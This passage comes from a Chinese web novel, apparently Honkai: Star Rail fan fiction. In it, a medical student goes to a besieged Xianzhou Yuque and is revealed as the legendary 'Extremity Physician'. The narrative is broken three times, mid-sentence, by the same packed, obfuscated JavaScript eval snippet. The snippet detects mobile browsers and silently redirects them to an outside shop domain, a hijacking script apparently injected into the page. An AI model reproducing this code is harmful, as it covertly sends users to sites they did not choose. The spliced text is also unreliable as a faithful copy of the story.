兰涯还得偿所愿地摸到了狐人毛茸茸的尾巴和耳朵。那触感比她想象的要柔软得多。白焰被摸得有点不好意思,耳朵微微泛红,但没有躲开,只是小声说了一句“别摸太久”。 兰涯心想,这真的是太棒了。 提交完作业,正准备离开,自习室角落的两张桌子旁传来了压低的闲聊声,打破了室内的静谧。兰涯和白焰同时抬起头,看向那个方向。 说话的两个人凑在一起,语气里带着几分兴奋与神秘。 “你听说了吗?博识学会的完美进化学派,最近又有了新的研究进展,还是关于细胞复合再建技术的。”其中一人压低声音,语气里满是好奇。“他们一直在钻研,是否存在一种完美的载体,能够作为智慧的存在形式,摆脱有机生命的局限。” 另一人点了点头,接过话茬,语气里多了几分笃定。“当然听说了。完美进化学派的学士们早就不满足于有机生命的承载形式了。你想想,我们的大脑不过是小小的蛋白球,寿命有限,思维也有局限,根本无法承载更高级的智慧。” 白焰停下了手中的笔,毛茸茸的狐耳轻轻竖了起来。她的耳朵微微向前倾斜,那是在认真倾听时的习惯。 她悄悄凑到兰涯身边,压低声音说道:“完美进化学派,我听说过。他们的理念很极端,总想着突破有机生命的局限,甚至有人想和丰饶民合作,打造没有副作用的长生种呢。”她的表情没有说完整,但兰涯从那张脸上读出了“目前并没有成功”的意思。 兰涯轻轻点了点头,继续听着角落里的闲聊。 那人顿了顿,又继续说道:“而且他们还盯上了机械帝皇的「权杖」系统。你应该知道,「权杖」是以智识星神博识尊的思考方式为原型,仿造的无机仿生神经元集群,遍布曾经的帝国星域,本质上就是帝皇的外置思考器官。按理说,这种庞大的无机神经元集群,理应具备承载智慧的特质。” “没错!”另一人应和,“完美进化学派的学士们认为,「权杖」系统的潜力巨大,只要加以改造,就能成为完美的智慧载体。他们觉得,在小小的蛋白球和有限的寿命之外,终将会创造出更具有超越性的智慧,摆脱有机生命的束缚,甚至能短暂动摇区域内的物理法则,实现真正的进化。” 「权杖」是第二次帝皇战争中的重要工具。鲁珀特二世曾试图通过它扩展自身思维,打造一个「知识奇点」,只是最终未能完成便死去了。「权杖」也在学派战争中瘫痪。 兰涯从未想过,这样一套废弃的系统会被完美进化学派当作突破的方向。 白焰的眉头也皱了起来。她不敢多说话,生怕惊扰那两人的谈话,就在手机记事本上打字。“可是,「权杖」系统曾经被用来散播反有机程式,让无数世界生灵涂炭。完美进化学派真的能改造它吗?”她把手机递到兰涯面前,兰涯看了看,没有回复,她也不知道答案。 这边两人不敢多发声音,不代表自习室其他人不反驳。另一桌的女生插入话题,声音不大,但很清晰,像一把小刀切开了那层窃窃私语的薄纱。 “那你们俩怎么不提到天才俱乐部呢?” 15. 第 15 章 那两人愣了:“天才俱乐部?” 女生露出一副“你们懂个〇”的表情,下巴微微扬起,眼神里带着一种居高临下的怜悯:“除了完美进化学派,天才俱乐部第64席原始博士,他提出了一个古人类计划,简直颠覆了所有人的认知。” “古人类计划?”两人有些震惊,其中一个张大了嘴,另一个手里的笔都掉了。“把古代人创造出来吗?” 女生摇摇头,眼里带着敬仰的光芒,那光芒很亮,像有人在她眼睛里点了一盏灯。 “博士认为,宇宙走向终末的结局,根本原因就是现在的人类物种不够优质,太过脆弱,无法适应宇宙的变化。而在远古时期,甚至在星神诞生之前,那些古人类才是最纯粹、最优质的物种。他们没有被欲望裹挟,没有被伤病困扰,拥有强大的生命力和纯粹的智慧。” “天才的思维果然是我们常人无法匹及的啊。”那两人讪讪地感叹,脸上写满了“虽然我听不懂但感觉很厉害”的表情。一个人搓了搓手,另一个人点了点头,像是在附和什么了不起的真理。 兰涯的心脏猛地一沉。宇宙的终末,竟然被归结为“人类物种不够优质”。那些被她救下的生灵,那些在战火中挣扎的生命,难道真的只是“不够优质”的存在吗? 白焰毛茸茸的狐耳微微下垂,耳尖几乎贴到了头发上,蓝色的眼眸里满是困惑与不解:“原始博士的想法也太极端了吧?古人类就算再纯粹,也已经消失在历史的长河里了。强行返祖,只会带来更多的灾难吧?而且,宇宙的终末,怎么可能只因为人类不够优质呢?” 她的声音越说越小,最后一句几乎是自言自语。她的尾巴在椅子下面不安地甩了一下,又甩了一下。 也许是那三人的讨论声过大,吸引来了巡逻的自习室管理员。白焰和兰涯也不好意思留在这里讨论,趁乱离开了自习室。 走到外面,说话也不用那么掐着嗓子了。白焰脑袋上的狐耳都快乐地一抖一抖,像是刚从笼子里放出来的小动物:“这次期末考试结束,兰涯你想去哪里?” 兰涯摇头:“我不知道。” 白焰圆溜溜的蓝眼睛看向她:“那你的毕业证书怎么办?” 博识学会医学院并不是通常星球意义上的七年制,准确说是无限毕业制。 虽然这群学生在博识学会的学士面前,犹如大象脚下的小石子,微不足道,当然,博识学会在天才俱乐部的天才们面前也是如此。 但能熬过第一个月不被劝退、不被收回学院制服,在普通人类眼里已经是难得的学霸了。 学院的数据统计显示,每年入学的新生中,大约有三分之一会在第一个月内被劝退,不是因为成绩太差,而是因为承受不了那种“你什么都不是”的氛围。 如果能顺利学完理论和实验室操作知识,并且通过考试,又属于学霸中的佼佼者——学神了。 很多人连续挂科留级很多年,据说曾经有一位学生熬了整整一个琥珀纪才修满学分通过考试,毕业那天他拿着毕业证书嚎啕大哭,因为接下来等着他的是要还公司整整一个琥珀纪的学费贷款。 同时,通过了以上考试还不算毕业,需要自己外出实践,简称实习。无论是哪里的医院,亦或是战场,只要有浮台机器人跟踪拍摄的实践视频,就能作为毕业证明的最后一环。 据说很早以前还不用上视频自证,只需要一纸敲章公文即可。校方万万没想到,为了多快好省地毕业,学生们真是无所不出其右。 批量生产公文证明已经是小事了,还有伪造螺丝星帝王签名的,甚至还有自称在巡海游侠处实习、交出了一张看起来烟熏火燎带着孜然辣椒味的证明,落款处歪歪扭扭写着“LaMandla”,字母还拼错了。 所幸巡海游侠和公司都没有注意到这事,不然那位学生的人生会更精彩。 “嗯……”兰涯思考着,“不毕业,直接肄业也可以吧。” 白焰的狐耳都竖起来了,像两根被拉直的弹簧:“什么?” “我来这里就是为了补习一些医学知识,现在目的已经达成了。毕业证书对我来说没什么意义。”兰涯说的是实话。 她不需要那张纸来证明什么,她需要的是知识本身。那些关于人体结构、病症分类、创伤处理的课程,她已经学得差不多了。剩下的那些课程,比如医院管理、医疗法规、医疗保险理赔,她实在想不出自己有什么必要去学。 狐耳焦虑地摆起来,左一下右一下:“那你花学费进来干什么?体验生活吗?” “呃,这么一想,也不算花我的钱?” 学费是信用点,信用点是布鲁斯家族给的诊金之一,还有通过他的关系前来治病的战略投资部某些成员给的诊金。 这个学院严格意义来说也属于公司,那就不是四舍五入等于没花钱。 兰涯在心里算了一下这笔账,觉得自己的逻辑没有问题。 不知道白焰大脑里进行了什么头脑风暴,她的眉头皱了一会儿,又松开了一会儿,又皱了起来,像是在解一道很难的数学题。最后她做出了一个决定:“你和我一起回仙舟实习吧!” 兰涯露出一个“啊?”的表情。 白焰越想越觉得这个计划完美。她的狐耳又竖了起来,这次是兴奋的竖,耳尖微微向前倾:“我家在仙舟曜青,可以去参加随军医士。你就和我住一起,闲下来曜青有很多好吃好玩的,我带你逛。” 这听起来特别有清澈愚蠢的大学生过暑假的样子。 白焰说得兴高采烈,仿佛已经看到了两个人在曜青的街头吃吃喝喝的画面。 不等兰涯做出回应,白焰一拍手,声音在楼梯间里回荡。“就这么愉快地决定了!” 白焰决定得过早了。 第二天,学院里突然贴出了紧急通知。通知是红色的,贴在教学楼大厅最显眼的位置。 丰饶令使「倏忽」携丰饶民大军已全面围困仙舟「玉阙」。经博识学会紧急商议决定,派遣博学士军团即刻奔赴仙舟支援。现募集医学院在读医学生参与支援,参与支援者可直接完成实习认证,所有支援物资由学会统一供给。 消息公布的那一刻,学院里瞬间炸开了锅。议论声、惊呼声、犹豫声交织在一起,像一锅煮沸了的粥。 兰涯暗自叹息,战争越来越频繁了。那些通过虚数脉络传来的痛楚越来越密集,越来越强烈,像是在告诉她什么。 她下意识地侧过头,看向身边的白焰,却发现白焰早已站起身。毛茸茸的狐耳紧紧贴在头顶,原本灵动的眼眸里没有了往日的活泼,只剩下极致的急切与坚定,显然是被这个消息狠狠震撼到了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485884|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 下一秒,白焰果不其然对兰涯说:“我要去玉阙仙舟。” 她的声音不大,但很坚定,狐人的脸上带着歉意: “对不起,本来计划好带你去曜青逛逛的。” 兰涯摇了摇头,表示没必要道歉:“我和你一起去。” “可是那是丰饶令使「倏忽」,很危险。”白焰的耳朵又往下压了压,几乎贴到了头皮上。她的尾巴在身后绷得直直的,像一根被拉紧的弦。 “白焰。”兰涯突然喊出她的名字,语气平静。 白焰身体一直,像被点了穴:“什么?” “你能去,其他学生能去,我就不能去吗?”兰涯说,主动拉起白焰的手,“太平的日子固然不错,但眼前的事不能不完成。走吧。” 星际战舰划过被战火染得暗红的星云,舷窗外不时闪过破碎的星槎残骸。 战舰上所有人都看到了远处玉阙仙舟方向连绵不绝的火光,那是丰饶民的炮火,正日夜不休地轰击着仙舟的护罩。 整艘战舰里,气氛冷硬。博识学会的博学士们身着深青色作战袍,沉默地检查装备。他们是学者,也是战士。有人在校准枪械的瞄准镜,有人在调试战术头盔的通讯频率,有人在检查医疗包的物资清单。 兰涯坐在靠窗的位置,一身洗得发白的医学生制服,在满是武装的人群里显得格外单薄。她的表情平静,但放在腿上的手已经攥成了一团,指节泛白,指甲陷进了掌心里。那些痛楚又来了,从虚数脉络的深处涌上来,像潮水一样,一波接一波,没有尽头。 身旁的白焰早已坐立不安,狐人的狐耳紧紧贴在颅顶,眼睛死死盯着星图上不断闪烁的玉阙坐标,尾巴在椅侧绷得笔直。 “兰涯,”白焰的声音很轻,却带着抑制不住的颤抖,“玉阙的护罩……还能撑多久?” 兰涯转过头,看着她眼底的焦灼与恐惧,轻轻拍了拍她的手背:“刚才第七轮通气会上已经说过了,云骑军守了七天七夜,护罩裂痕虽多,但未破。我们赶得上。”她的语气平静,心里却很清楚。 丰饶令使倏忽,麾下丰饶民如蝗如潮,所过之处,生灵要么被吸收殆尽,要么被丰饶之力扭曲成不死不活的孽物。 仙舟联盟与丰饶血战数千年,从昔日求药信徒,变成如今以“诛杀寿瘟祸祖”为天命的巡猎追随者。 就连曾经权倾仙舟的丹鼎司,也因历史上与丰饶渊源过深,如今地位一落千丈,人人自危。 表面上,丹鼎司早已弃绝丰饶信仰,可谁都知道,丹鼎司深处,仍有旧部偷偷怀念昔日荣光。 “对,开会的时候说过,我们到了之后,先去战地医院,跟丹鼎司的医士汇合。”白焰用力攥紧拳头,像是在给自己打气,“我学过创伤急救,我能帮上忙……” 舰桥突然传来领队的通告: “全体注意——即将进入玉阙交战空域!丰饶民拦截舰数量众多,云骑军正在外围接应。全员进入战备状态,医疗组优先准备急救器械!” 话音未落,整艘战舰猛地一震,被流弹擦过护盾。警报声尖锐刺耳,红色的灯光在舱内旋转闪烁,把每一个人的脸都照得忽明忽暗。 舷窗外,玉阙仙舟的轮廓终于清晰了—— 曾经云海缭绕、琼楼玉宇、仙气浮空的仙舟,如今已成一座被战火包裹的战场。 16. 第 16 章 战舰在云骑军的护航下强行突破丰饶民的封锁线,降落在玉阙后侧一处临时空港。 舱门打开的瞬间,热浪、硝烟、血腥与焦糊味扑面而来,呛得人几乎窒息。 天空是暗紫色的,被丰饶民的瘴气与炮火染得浑浊。云层中,丰饶民的骨翼战舰如同嗜血的鸦群,不断俯冲、轰炸。 地面上,曾经的街市、栈桥尽数坍塌,燃烧的木料与金属发出噼啪巨响,浓烟遮蔽了日光。有些建筑的墙壁上还挂着招牌,写着“XX茶楼”“XX药铺”之类的字,字迹被烟熏得模糊不清。 云骑军的战士身着铠甲,不言退缩。他们的铠甲上沾满了灰尘和血污,有些人的铠甲裂开了,露出里面的绷带和渗血的伤口。但他们的背是直的,他们的手是稳的。 博学士军团的战士们立刻进入了战斗状态,他们端着武器,在云骑军的掩护下向丰饶民的阵地推进。而医学生们也跟着另一队前往战地医院。 每走几步,就能看到倒在路边的云骑尸体与平民遗骸。 有些尸体被丰饶之力侵蚀,皮肉扭曲、骨节暴突,呈现出诡异的增生状,那是“寿瘟”的痕迹,是仙舟人最恐惧的诅咒。 兰涯经过一具云骑的尸体,他的半边脸长出了奇怪的东西,像树枝一样伸展。 白焰看到一具狐人孩童的尸体,皮毛焦黑,小小的身躯蜷缩在瓦砾下,眼睛还圆睁着。 她脚步一顿,脸色瞬间惨白,狐耳剧烈颤抖,眼泪毫无预兆地砸在地面。 “白焰。”兰涯拉住她的手臂,“哭,也算时间。” 这句话是拉曼查在训练场上对新人说的,他说的时候语气冰冷,不带任何安慰。但兰涯记得那句话,记得说那句话的时候拉曼查的那双眼睛是冷的。 白焰猛地抬头,用力抹掉眼泪,手背在脸上蹭出一道红痕。她咬着牙,一字一句地说:“我知道。我们走。” 两人跟着博学士军团的队伍,在云骑军的引导下穿过层层废墟与警戒线,抵达玉阙最大的战地医院。 那里原本是丹鼎司的太真丹室,如今被改造成临时急救中心。还没进门,就已经能感受到里面的混乱与窒息。 宽敞的大殿里密密麻麻躺满了伤者,从地板到台阶,从廊下到殿外空地,一眼望不到头。有人躺在担架上,有人直接躺在地上,有人靠在墙角,有人趴在桌子上。绝大多数是云骑军战士,也有大量平民、工匠、甚至丹鼎司的医士本身。 空气中弥漫着血腥味、药味,以及濒死的气息。三种味道混在一起,形成一种粘稠的、让人喘不过气的氛围。 呻吟声、哭喊声、医师的交流声、器械的碰撞声,嘈杂得让人头皮发麻。有人在喊“医师救我”,有人在喊“孩子我的孩子”,有人在低声念叨着听不懂的话,像是祈祷,又像是咒语。 数十名丹鼎司医士在伤者之间来回奔忙。每个人的脸上都写满了疲惫和绝望。他们的手在发抖,不是因为害怕,是因为太累了,累到肌肉不受控制地抽搐。可面对眼前的伤者,这些医术显得无比苍白。 这次围攻玉阙的是丰饶令使倏忽亲自出手。祂的力量带着强烈的侵蚀性与诅咒性,远超普通丰饶民。 云骑军的伤口,要么被腐蚀得不断溃烂,无法愈合;要么被丰饶之力侵入经脉,导致肉身疯狂增生,骨血畸变;更有重伤者,脏腑尽碎,只剩最后一口气吊着。 丹鼎司的医士们拼尽全力。金光一遍遍洒下,丹药一颗颗喂下,可伤者的伤势依旧在恶化,长出新肉,新肉又坏死,坏死的地方又长出更新的肉,永无止境,像一场没有尽头的酷刑。 “不行……压不住瘴气……”一个年轻的医士蹲在地上,手按在伤者的胸口,他的眼泪掉了下来,滴在伤者的脸上。伤者的眼睛闭着,不知道疼,也不知道有人在为他哭。 “经脉全毁,生机散了,回天乏术……”另一个年长的医士摇了摇头,声音沙哑,像是已经说了很多遍这句话。 “不,帝弓在上……为什么……”有人跪在地上,双手合十,对着天空祈祷。 兰涯目光快速扫过全场。她看到无数濒死的云骑战士,丹鼎医士束手无策,只能摇头叹息,转身去救下一个还有希望的人。 她看到一名年轻的云骑校尉,半边身子皮肉漆黑,骨骼外露,却依旧紧握着长弓,嘴里喃喃:“帝弓……护我仙舟……”他的声音很轻,轻到像是风一吹就散了。 “白焰,你自便。”兰涯低声道,声音里没有犹豫,“我去救最重的那批。” 白焰一愣,眼睛睁大了:“你……你一个人?” 兰涯没时间解释了,只是点了点头,转身便朝着那片濒死伤者最密集的区域走去。她一边走一边拔下了发间的两枚针。 几名丹鼎司医士注意到她,以为是新来的医学生不懂事,皱眉拦在她面前。“那边没救了,别过去添乱。” 兰涯没有停步,径直走到那名半边身子溃烂的云骑校尉面前,蹲下身。 校尉已经陷入半昏迷,呼吸微弱如丝,胸口几乎没有起伏。他的皮肤以肉眼可见的速度变黑、坏死,清瘟丹药完全无效。 旁边的丹鼎医士叹了口气,准备盖上白布。 “等等。”兰涯开口,声音不大,却清晰地压过周围的嘈杂,“还能救。” 她伸出手,双针在指间翻转,周围的丹鼎医士都愣住了。 “那是什么针?” “没见过……不是丹鼎司的九针,也不是云骑的军针。” “连点术法光芒都没有,能治倏忽的瘴气?开玩笑吧……” 兰涯全然不理会周遭的目光与议论。 她屏息凝神,金色的时针精准刺入校尉胸口几处大穴。那些穴位不是仙舟正统的经脉穴位,而是她走遍星际,从无数种族生理结构中总结出的“点位”。 校尉的皮肤停止了变黑。那片黑色的边界像是被什么东西挡住了,停在那里,不再蔓延,像一道被冻住的潮水。 银色的指针刺入,奇迹发生了。 原本漆黑溃烂的血肉以肉眼可见的速度恢复原状,黑色褪去,红色重新出现,新生的皮肤从伤口边缘向中心生长,扭曲暴突的骨骼缓缓复位、愈合,发出轻微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485885|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的“咔咔”声,像是有人在用一把看不见的扳手把它们拧回原位。 涣散的瞳孔渐渐凝聚,焦距慢慢对准,眼睛里开始有了光。微弱到几乎消失的呼吸慢慢变得平稳、有力。 不过半柱香功夫,那名被丹鼎司判了“死刑”的云骑校尉猛地咳出一口黑血。他睁开了眼睛,先是茫然地看着天花板,随即感受到身体的变化,震惊地看着自己重新恢复的手臂,手指慢慢握拢,又松开,又握拢,像是在确认这只手真的是自己的。然后他看向眼前这个素衣女子,眼中充满了难以置信。 “你……你救了我?”他的声音沙哑,像是嗓子里塞了棉花。 兰涯收回双针,袖手而立,语气平淡:“嗯,你还能上去打三百回合。” 这一幕彻底惊呆了周围所有人。那几名刚才阻止她的丹鼎医士目瞪口呆地站在原地,手里的药碗差点摔在地上。 “怎么可能……那是倏忽的瘴气啊!” “就靠两根针?” “这是什么医术……闻所未闻!” 兰涯没有停留。她转身走向下一名濒死的云骑战士。 那是一名中年骁卫,胸口被丰饶民的骨刃刺穿,心脏破裂,嘴唇发紫,眼睛半睁着,瞳孔散大,只有一丝微不可查的神魂还未散尽,像一缕烟,随时会被风吹散。 丹鼎司的医士早已放弃,摇头道:“心脉尽断,仙舟无药可医,埋了吧。”他的语气很平静,不是冷漠,是麻木。一个人说了太多次“埋了吧”之后,语气就会变成这样。 兰涯再次蹲下身。双针齐出,一针刺心脉断点,一针刺神魂归位。 金色的光芒从针尖涌出,像是有一条看不见的线,把断裂的心脉重新缝合在一起。银色的光芒从另一枚针尖涌出,像是一只手,把那缕快要散尽的神魂抓住,按回身体里。 这一次,效果更加惊人。原本停止跳动的心脏缓缓收缩、复苏,喷涌的鲜血止住,像是有人关上了水龙头。涣散的神魂被强行拉回肉身,骁卫的脸上开始有了血色,嘴唇从紫色变成了粉红,从粉红变成了正常。 短短数十息,那名“已死”的骁卫猛地睁开双眼,剧烈地喘息起来。他大口大口地吸着气,像是一个被按在水里很久的人终于浮出了水面。他的手指抓着地面,指甲里嵌着泥土和碎石子,他抓着,像是在确认自己还活着。 他活过来了。 “骁卫醒了!” “那位医师……她救活了骁卫!” 周围的伤者、医士、云骑士兵,全都沸腾了。一双双眼睛,齐刷刷投向兰涯的身影。 她在人群中穿梭,双针所到之处,被瘴气侵蚀的,痊愈。筋骨寸断的,复原。脏腑破碎的,重续。甚至只剩一口气的,也被她从鬼门关拉了回来。 没有丰饶辉光。没有丹鼎术法。 兰涯救起第十名濒死云骑时,这位云骑睁开眼睛,努力撑起身子。他是一名老兵,脸上有好几道旧伤疤,他看着兰涯,看着那双针,。 “这手法……这双针……”他的嘴唇在哆嗦,“你是……你是传说中的「绝境医师」?!” 17. 第 17 章 “绝境医师”四个字,如同惊雷,在整个战地医院轰然炸响。 所有人的目光齐刷刷聚焦在兰涯身上,那些目光里有震惊,有敬畏,有难以置信,有那种在黑暗中突然看到光时才会有的东西。 绝境医师的名号在仙舟联盟与星际间早已是传说。没人知道她的真名,没人知道她的来历。只知道在无数被战火吞噬的星球、被反物质军团肆虐的废墟,都曾出现过她的身影。 她身着素衣,手持双针,无门无派,无宗无师,却能医死人、肉白骨、解万毒、破诅咒。 她从不多言,救完人便消失,如同绝境中的一缕微光,短暂出现,却照亮无数生死边缘的灵魂。 有人说她是与巡海游侠同行的巡猎命途医者,有人说她是从丰饶星神药师处取得了其他令使得不到的力量,还有人说她的双针藏着宇宙的终极奥秘。 但没人真正见过她,更没人想到这位传说中的绝境医师竟然会是一个穿着洗得发白的医学生制服的女性。她看起来不像一个传说,像一个在图书馆里坐了一整天的学生。 “她……她就是绝境医师?” “我的天……竟然是真的!” “是她救了我们……是绝境医师救了玉阙!” 在医术面前,在生命面前,一切身份、派系、规矩都显得微不足道。 白焰僵在原地,彻底呆住了。她看着那个在人群中从容施救、双针翻飞的身影,大脑一片空白。 和她一起在自习室啃书本、一起吐槽博识学会的课程、一起吃饭、一起报名支援的兰涯,那个总是安静地坐着、时不时会走神的同班同学,竟然是传说中拯救过无数战场伤员、名动寰宇的绝境医师? 白焰的狐耳竖得笔直,蓝色的眼睛瞪得溜圆,尾巴僵硬地翘着。 她的大脑在飞速运转,那些画面像走马灯一样闪过,兰涯在自习室抄她答案的样子,兰涯摸她尾巴时眼睛发亮的样子,兰涯说“不毕业也可以”时那种理所当然的语气。 她终于明白了,为什么兰涯面对实验室的遗骸从不害怕,为什么她愿意和自己一起奔赴这必死的战场。 因为绝境医师本就是从死亡手里抢人的。 战地医院的气氛从绝望转为狂喜,从混乱转为有序。 丹鼎司的医士们也纷纷主动过来,配合兰涯一起施救。有人帮她抬病人,有人帮她清理伤口,有人在她身后举着灯,把光线对准她每一次下针的位置。整个大殿像一个被重新上了发条的钟表,每一个齿轮都开始转动。 “我的医学知识和诸位比起来,只能说是寥寥无几。” “我不能保证百分百治愈。” 兰涯直接说了大实话,时间紧任务重,来不及解释多少。她一边施针,一边让他们把重伤员安排给自己。 丹鼎司自动分成了两个区域。大部分医士在轻伤区治疗,而那些医士认为无法施救的重伤员则被转移到兰涯这里。担架一个接一个地抬过来,排成一排,像一条望不到头的河流。兰涯从一个担架走到另一个担架,蹲下,扎针,站起来,再蹲下,再扎针。她的腿开始发麻,腰开始发酸,手指开始发抖,但她没有停下来。 有一小撮人,在此时却显得格外异样。是丹鼎司里,几名年纪较长、资历较深的老医士。他们没有像其他人那样围过来请教,反而远远地站在角落,背对着人群,低着头,手里拿着纸笔,飞快地、秘密地记录着什么。 他们的脸色阴沉,眼神复杂,有震惊,有疑惑,有不甘,还有一丝……深藏的、不敢外露的反感与排斥。 为首的一名老医士,眉头紧锁,笔尖在纸上沙沙作响,嘴里低声喃喃,声音细若蚊蚋,只有身边几人能听见—— “……伤者濒死,我等丰饶祝祷、丹鼎术法尽无效……此人以双针施治,无半分丰饶辉光,悖逆常规,非我药王慈怀一脉……” 旁边的另一名医士,脸色发白,紧张地四处张望,低声提醒:“师兄……慎言!这话要是被十王司听到,我们都要被当成药王秘传抓起来!” “我知道!”老医士压低声音,语气里满是压抑的不甘与执念,“我只是……只是记录……这等异端医术,违背药王慈怀大道……” “可她确实救活了……救活了那么多我们救不活的人……”那个医士的声音越来越小,小到几乎听不见。他的脸上有一种说不清的表情,像是在动摇,又像是在害怕。 “那又如何?”老医士眼中闪过一丝偏执的暗光。“没有丰饶赐福,没有药王慈怀,再好的医术也是旁门左道,是异端!我们丹鼎司昔日的荣光,就是被这些异端毁了……” 他的声音里有一种咬牙切齿的东西,像是一块石头被人用锤子砸碎了,碎屑飞溅,扎进肉里。他们的声音极低,如同蚊蚋,不敢让任何人听见。 他们不敢公开指责兰涯“异端”,因为在仙舟联盟,“丰饶”才是异端。 他们不敢大声抱怨,更不敢暴露自己的真实想法,因为他们就是丹鼎司内部,残留的、暗地怀念丰饶、信奉药王、私传秘传的旧部。 在公开场合,他们必须和所有人一样,高呼“帝弓护佑”“铲除寿瘟”。 可在心底,在私下,他们依旧坚信,只有丰饶药师的力量,才是真正的“慈怀”,才是最高明的医术。 他们无法接受,也不敢反抗,只能在无人注意的角落,偷偷记录、暗暗腹诽、眼神冰冷、心怀怨怼。 “……此法诡异,不循常理……”老医士继续在纸上飞快写着,字迹潦草而偏执,“……长此以往,必乱医道,惑乱人心,是为异端……” “师兄,别写了……有人看过来了!” 几名医士慌忙收起纸笔,低下头,换上一副平静的表情,转身装作去救治伤者,可眼底的阴霾与反感,却久久不散。 有了博学士军团的援助 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485886|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,外面的战火渐渐平息。炮火声越来越稀疏,像一场快要结束的雷雨,雷声从头顶移到了天边,越来越远,越来越轻。 战地医院的忙碌也渐渐平息,伤者越来越少,呻吟声越来越低,大殿里的空气不再像之前那样粘稠,多了一些空旷的回声。 兰涯送走了最后一名痊愈的云骑,指尖的双针早已收起,被她插回了发间。看着那个云骑的背影消失在门口,他的步伐还有些蹒跚,但脊背是直的。她忽然明白了阿哈所说的提供每天一碗热汤的补给背后的含义。 一只手伸过来。“喝口水吧,你到现在没有休息过。”是白焰,以及她的笑容。 “谢谢,你也辛苦了。”兰涯接过了水瓶。她拧开盖子,喝了一口,水从喉咙滑下去,凉凉的,有一种干净的、纯粹的味道。 她不知道自己有多久没喝水了,也许是几个小时,也许是一整天。她只觉得水是甜的,比桃子甜,比红豆汤甜,比冰激凌甜。 白焰又递上一个包子。包子温温的,不是刚出锅的那种烫,而是放了一会儿、刚好能入口的那种温度。 “本来想带你去吃鼎镬,不过当下这情况,只能吃包子了。”她的语气里带着一丝遗憾,像是一个没有完成约定的小孩。 狐人少女托着腮,看着兰涯吃包子,终于按捺不住内心的好奇,像是撒娇一样抱怨着:“你瞒我好久啊。” 兰涯抬头,露出了一个淡淡的笑容。 “抱歉,”她轻声说,“因为我本人实在没有什么医学知识,所以才选择听课,不想顶着这个称号惹来非议。” 白焰看着她的眼睛,沉默了片刻,然后用力点头,露出了一个释然的、坚定的笑容。 “我懂。”她说,“不管你是绝境医师,还是我的同学兰涯,你都是我最好的朋友。” 丰饶民的退去,给玉阙仙舟留下了满目疮痍。 一名身着素色道袍的卜者,在云骑士兵的引领下,缓缓走进战地医院。 他须发皆白,但不显年老,额间有一道淡淡的法眼印记,行走间步伐沉稳,周身萦绕着一股看透世事的沉静气场。 周围的仙舟人都忍不住站起身,卜者向兰涯致意,自我介绍:“我是玉阙仙舟的太卜,竟天。兰医师,多谢你救下玉阙万千生灵。” 他微微躬身,语气诚恳,没有太卜的居高临下,只有发自内心的感谢。 兰涯回礼,语气平淡:“我只是做了医者该做的事,无需多谢。” 她早已习惯了这样的感谢,无论是战场废墟,还是仙舟绝境,救人,从来都是她的本能,无关身份,无关回报。 竟天抬手,发出邀请:“医师忙碌许久,还没尝过玉阙的茶,请。” 他的手悬在半空中,掌心朝上,不卑不亢,不亲不疏,恰到好处。 这种邀请,根本让人无法拒绝。 兰涯干脆从善如流,跟着竟天前往茶室。 18. 第 18 章 玉阙仙舟太卜司的茶室隐于琼楼一角,能在战火中完好无缺,可见玉阙太卜的实力。 室内陈设简洁,案几上摆着一套青瓷茶具,茶盏莹白,像一圈凝固的月光。沸水注入时,茶香混着仙舟特有的灵草气息漫开,那味道不浓不淡,恰到好处。 窗外云海翻涌,风过檐角,铜铃轻响,与煮茶的咕嘟声交织在一起,处处透着仙舟独有的韵味。 两方坐下,竟天开口,声音低沉而舒缓:“我代表玉阙上下再次感谢医师。若无医师相助,玉阙的伤亡数量会更大。” 他的手指在茶盏边缘轻轻摩挲了一下,那动作很轻,像是不经意的,但兰涯注意到了。 兰涯不说话。她的直觉告诉自己,竟天还有话要说。 太卜请她喝茶,不是为了说一句“谢谢”。谢谢在战地医院已经说过了,不需要再带到茶室里来说。茶室里的茶,是用来配更重的话的。 果然,竟天直起身。他原本微微前倾的身体向后靠了靠,脊背挺直了,像一张被拉满的弓。目光紧紧锁住兰涯,那眼神仿佛能穿透她,片刻后,他开口了,话语一针见血,打破了室内的平静: “你是终末命途的行者。你是厄兆先锋吗?” “厄兆先锋”四字如同冰锥,骤然刺入空气。 厄兆先锋是由「终末」星神麾下令使组建的预言派系,他们以践行「四末说」为使命,认为四条命途的交织将引动银河的终末结局。 在仙舟,这个名字很少被提起,不是因为没人知道,而是因为知道的人都不太想提。终末命途的追随者总是和“预言”“毁灭”“结局”这些词绑在一起,像一群在婚礼上谈论葬礼的人,不讨喜,但说的往往是对的。 兰涯神色未变。她没有震惊,没有愤怒,甚至没有疑惑。她只是平静地迎上竟天的目光,摇头:“我不是厄兆先锋。” 